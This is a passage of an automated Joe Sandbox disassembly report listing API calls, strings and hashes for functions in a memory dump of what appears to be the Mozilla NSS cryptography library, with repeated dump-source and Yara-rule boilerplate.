Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(?,?,6C52204A), ref: 6C5908FB

TlsGetValue.KERNEL32 ref: 6C5E4DD7
EnterCriticalSection.KERNEL32(?), ref: 6C5E4DEC
PR_Unlock.NSS3(?), ref: 6C5E4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C5E4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C5E4E71
free.MOZGLUE(00000000), ref: 6C5E4E7A
PR_Unlock.NSS3(?), ref: 6C5E4EA2
TlsGetValue.KERNEL32 ref: 6C5E4EC1
EnterCriticalSection.KERNEL32(?), ref: 6C5E4ED6
PR_Unlock.NSS3(?), ref: 6C5E4F01
free.MOZGLUE(00000000), ref: 6C5E4F2A

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 92438d9393aaf0834545f3635c592dd848b0efc1fde1ce19b445d1d08fa93fd9
Instruction ID: 23b2a1aa749336703b7be8e11f4d347e4b5930b3a1cc8b0115c21282957ed84e
Opcode Fuzzy Hash: 92438d9393aaf0834545f3635c592dd848b0efc1fde1ce19b445d1d08fa93fd9
Instruction Fuzzy Hash: 69B1F675E00205AFDB00EFA8DC84B9A77B4BF49318F048568ED1597B01EB35E964CBD6

Function 6C5EFFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5EFFB4

Part of subcall function 6C6698D0: calloc.MOZGLUE(00000001,00000084,6C590936,00000001,?,6C59102C), ref: 6C6698E5

PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5EFFC6

Part of subcall function 6C6698D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C669946
Part of subcall function 6C6698D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5216B7,00000000), ref: 6C66994E
Part of subcall function 6C6698D0: free.MOZGLUE(00000000), ref: 6C66995E

PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5EFFD6
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5EFFE6
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5EFFF6
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5F0006
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5F0016
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5F0026
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5F0036
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5F0046
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5F0056
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5F0066
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5F0076
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5F0086
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5F0096
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5F00A6
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5F00B6
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5F00C6
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5F00D6
PR_NewLock.NSS3(?,?,6C5E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C5F00E6

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: d3c4cc3263f79a49110e33dc5da244f50ab6049dfa2683c0adc53979b8cd1450
Instruction ID: 4e7a207cfb36058d3db41db875784f3afade28a3824e94a78440e4ad0bec6ba5
Opcode Fuzzy Hash: d3c4cc3263f79a49110e33dc5da244f50ab6049dfa2683c0adc53979b8cd1450
Instruction Fuzzy Hash: DE3104F2F016149E8B49DF26C1481497AB4B717A4C710553FF52486B01DFB4094ECF9E

Function 6C636E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C636BF7), ref: 6C636EB6

Part of subcall function 6C591240: TlsGetValue.KERNEL32(00000040,?,6C59116C,NSPR_LOG_MODULES), ref: 6C591267
Part of subcall function 6C591240: EnterCriticalSection.KERNEL32(?,?,?,6C59116C,NSPR_LOG_MODULES), ref: 6C59127C
Part of subcall function 6C591240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C59116C,NSPR_LOG_MODULES), ref: 6C591291
Part of subcall function 6C591240: PR_Unlock.NSS3(?,?,?,?,6C59116C,NSPR_LOG_MODULES), ref: 6C5912A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C6DFC0A,6C636BF7), ref: 6C636ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C636EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C636EFC
PR_NewLock.NSS3 ref: 6C636F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C636F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C636BF7), ref: 6C636F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C636BF7), ref: 6C636F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C636BF7), ref: 6C636FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C636BF7), ref: 6C636FFD

Strings

NSS_SSL_CBC_RANDOM_IV, xrefs: 6C636FF8
SSLKEYLOGFILE, xrefs: 6C636EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C636EF7
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C636F4F
SSLFORCELOCKS, xrefs: 6C636F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C636FDB

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 500a9b7ae45aa8e1a8f0dac9ad18e1841f254c8e3aa7e7c89e125e6322ba4661
Instruction ID: bc79332220adbea6e5a519aa2c6be52af37f4219041b02789564e29cb1521ebb
Opcode Fuzzy Hash: 500a9b7ae45aa8e1a8f0dac9ad18e1841f254c8e3aa7e7c89e125e6322ba4661
Instruction Fuzzy Hash: 8FA115B2B5A8A0C6F7105A3CCE0179432A2AB93339F187379E9398AED5DB35D440C759

Function 6C5B5DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B5DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C5B5E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C5B5E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C5B5E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C5B5EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C5B5ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C5B5F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C5B5F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C5B5F89
free.MOZGLUE(?), ref: 6C5B5FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5B5FB6
free.MOZGLUE(00000000), ref: 6C5B5FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5B600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5B6079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5B6084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5B6094

Strings

, xrefs: 6C5B5EEB

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 26234be340a298ed06dd35095bb36c56fabcf458286f65402857b210d1f16b0c
Instruction ID: 902e296f1f829f52ac7d9b6d401ff8c9f0adff4ea6eda742be166e58dff9f957
Opcode Fuzzy Hash: 26234be340a298ed06dd35095bb36c56fabcf458286f65402857b210d1f16b0c
Instruction Fuzzy Hash: 7F8114B1E002059BDB08CF64CCA1B9EBBB5AF44318F544568F819B7B81EB31E814CBE1

Function 6C5D4E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C5D4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5D4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D4EC7

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5D4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C5D4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C5D4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C5D4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C5D4F68

Strings

hObject = 0x%x, xrefs: 6C5D4EF5, 6C5D4F05
nkl, xrefs: 6C5D4F82, 6C5D4FB2
pTemplate = 0x%p, xrefs: 6C5D4F4A
ulCount = %d, xrefs: 6C5D4F63
hSession = 0x%x, xrefs: 6C5D4EA2, 6C5D4EB2
(CK_INVALID_HANDLE), xrefs: 6C5D4EC0, 6C5D4F13
C_GetAttributeValue, xrefs: 6C5D4E7E

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nkl
API String ID: 1003633598-4210825395
Opcode ID: 36ba9cf81d81f080d8d1754ee0fbab97cff5daa6bf78f93137c40c5ca8065046
Instruction ID: 20ba92eb7ac038eb6b2f15d743e484a1aedc1c66d75e7466aa39c21e181d6dc1
Opcode Fuzzy Hash: 36ba9cf81d81f080d8d1754ee0fbab97cff5daa6bf78f93137c40c5ca8065046
Instruction Fuzzy Hash: 474181B1701245ABDB009F58DD48F9A7BB5EB82319F058438E50867B12DF34AD58CBAF

Function 6C5D4CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C5D4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5D4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D4D37

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5D4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C5D4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C5D4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C5D4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C5D4E20

Strings

hObject = 0x%x, xrefs: 6C5D4D65, 6C5D4D75
nkl, xrefs: 6C5D4DD4, 6C5D4DFF
hSession = 0x%x, xrefs: 6C5D4D12, 6C5D4D22
pulSize = 0x%p, xrefs: 6C5D4DB7
(CK_INVALID_HANDLE), xrefs: 6C5D4D30, 6C5D4D83
C_GetObjectSize, xrefs: 6C5D4CEE
*pulSize = 0x%x, xrefs: 6C5D4E1B

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nkl
API String ID: 1003633598-4019795898
Opcode ID: 8abd7f528f8c978325d8e38266522baee2de9e59312d46e6d66a2ad4b7927512
Instruction ID: 6d3d8d2bf450d54df446b981c88ff375640d751f482ae3e9ec1411ea096502a5
Opcode Fuzzy Hash: 8abd7f528f8c978325d8e38266522baee2de9e59312d46e6d66a2ad4b7927512
Instruction Fuzzy Hash: BD41C3B1701244EFDB00AF58DD88B6A3B75EB8235DF054439E508AB612DF30AD58CB9E

Function 6C5D7C90 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C5D7CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5D7CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D7CF3

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5D7D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C5D7D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C5D7D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C5D7D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C5D7D77

Strings

ulSignatureLen = %d, xrefs: 6C5D7D72
nkl, xrefs: 6C5D7D8F, 6C5D7DC3
C_Verify, xrefs: 6C5D7CB1
hSession = 0x%x, xrefs: 6C5D7CCE, 6C5D7CDE
ulDataLen = %d, xrefs: 6C5D7D40
(CK_INVALID_HANDLE), xrefs: 6C5D7CEC
pSignature = 0x%p, xrefs: 6C5D7D59
pData = 0x%p, xrefs: 6C5D7D25

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify$nkl
API String ID: 1003633598-251754603
Opcode ID: bcd7e4e5db3fe66d73dad8269af0b475bdb9e00ab2cf1a5c9e6c3853998515a4
Instruction ID: 0eb3ec0ebf7091930c8ef2171c6e4667b8afc6be9395a778be7a18cf4533617f
Opcode Fuzzy Hash: bcd7e4e5db3fe66d73dad8269af0b475bdb9e00ab2cf1a5c9e6c3853998515a4
Instruction Fuzzy Hash: 2631D6B1701245EFDB00EF58DD48F6A3BB1EB82359F494078E40867612DF30A958CBAA

Function 6C5D2F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C5D2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5D2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D2F63

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5D2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C5D2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C5D2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C5D2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C5D2FE7

Strings

nkl, xrefs: 6C5D2FFF, 6C5D3030
C_SetPIN, xrefs: 6C5D2F21
pNewPin = 0x%p, xrefs: 6C5D2FC9
ulOldLen = %d, xrefs: 6C5D2FB0
hSession = 0x%x, xrefs: 6C5D2F3E, 6C5D2F4E
ulNewLen = %d, xrefs: 6C5D2FE2
(CK_INVALID_HANDLE), xrefs: 6C5D2F5C
pOldPin = 0x%p, xrefs: 6C5D2F95

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$nkl
API String ID: 1003633598-314763541
Opcode ID: 7f457a18cd7a2c3f63004ed3d3c00a008df6dd90fbd78013080ad2767d7ca5a3
Instruction ID: 35954c27534d353303263579041c312b1e1c017bdf580e1093035dfce5e0d6a5
Opcode Fuzzy Hash: 7f457a18cd7a2c3f63004ed3d3c00a008df6dd90fbd78013080ad2767d7ca5a3
Instruction Fuzzy Hash: 3F31C5B6701245EBDB00DF58DD4DE4A3B71EB86359F054428E408A7612DF30ED58CB9B

Function 6C6B9C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C6B9C70
PR_NewLock.NSS3 ref: 6C6B9C85

Part of subcall function 6C6698D0: calloc.MOZGLUE(00000001,00000084,6C590936,00000001,?,6C59102C), ref: 6C6698E5

PR_NewCondVar.NSS3(00000000), ref: 6C6B9C96

Part of subcall function 6C58BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C5921BC), ref: 6C58BB8C

PR_NewLock.NSS3 ref: 6C6B9CA9

Part of subcall function 6C6698D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C669946
Part of subcall function 6C6698D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5216B7,00000000), ref: 6C66994E
Part of subcall function 6C6698D0: free.MOZGLUE(00000000), ref: 6C66995E

PR_NewLock.NSS3 ref: 6C6B9CB9
PR_NewLock.NSS3 ref: 6C6B9CC9
PR_NewCondVar.NSS3(00000000), ref: 6C6B9CDA

Part of subcall function 6C58BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C58BBEB
Part of subcall function 6C58BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C58BBFB
Part of subcall function 6C58BB80: GetLastError.KERNEL32 ref: 6C58BC03
Part of subcall function 6C58BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C58BC19
Part of subcall function 6C58BB80: free.MOZGLUE(00000000), ref: 6C58BC22

PR_NewCondVar.NSS3(?), ref: 6C6B9CF0
PR_NewPollableEvent.NSS3 ref: 6C6B9D03

Part of subcall function 6C6AF3B0: PR_CallOnce.NSS3(6C7014B0,6C6AF510), ref: 6C6AF3E6
Part of subcall function 6C6AF3B0: PR_CreateIOLayerStub.NSS3(6C70006C), ref: 6C6AF402
Part of subcall function 6C6AF3B0: PR_Malloc.NSS3(00000004), ref: 6C6AF416
Part of subcall function 6C6AF3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C6AF42D
Part of subcall function 6C6AF3B0: PR_SetSocketOption.NSS3(?), ref: 6C6AF455
Part of subcall function 6C6AF3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C6AF473

Part of subcall function 6C669890: TlsGetValue.KERNEL32(?,?,?,6C6697EB), ref: 6C66989E

EnterCriticalSection.KERNEL32(?), ref: 6C6B9D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C6B9DAF
_PR_CreateThread.NSS3(00000000,6C6B9EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C6B9D9F

Part of subcall function 6C58B3C0: TlsGetValue.KERNEL32 ref: 6C58B403
Part of subcall function 6C58B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C58B459

_PR_CreateThread.NSS3(00000000,6C6BA060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C6B9DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C6B9DFC
_PR_CreateThread.NSS3(00000000,6C6BA530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C6B9E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C6B9E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C6B9E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6B9E89

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
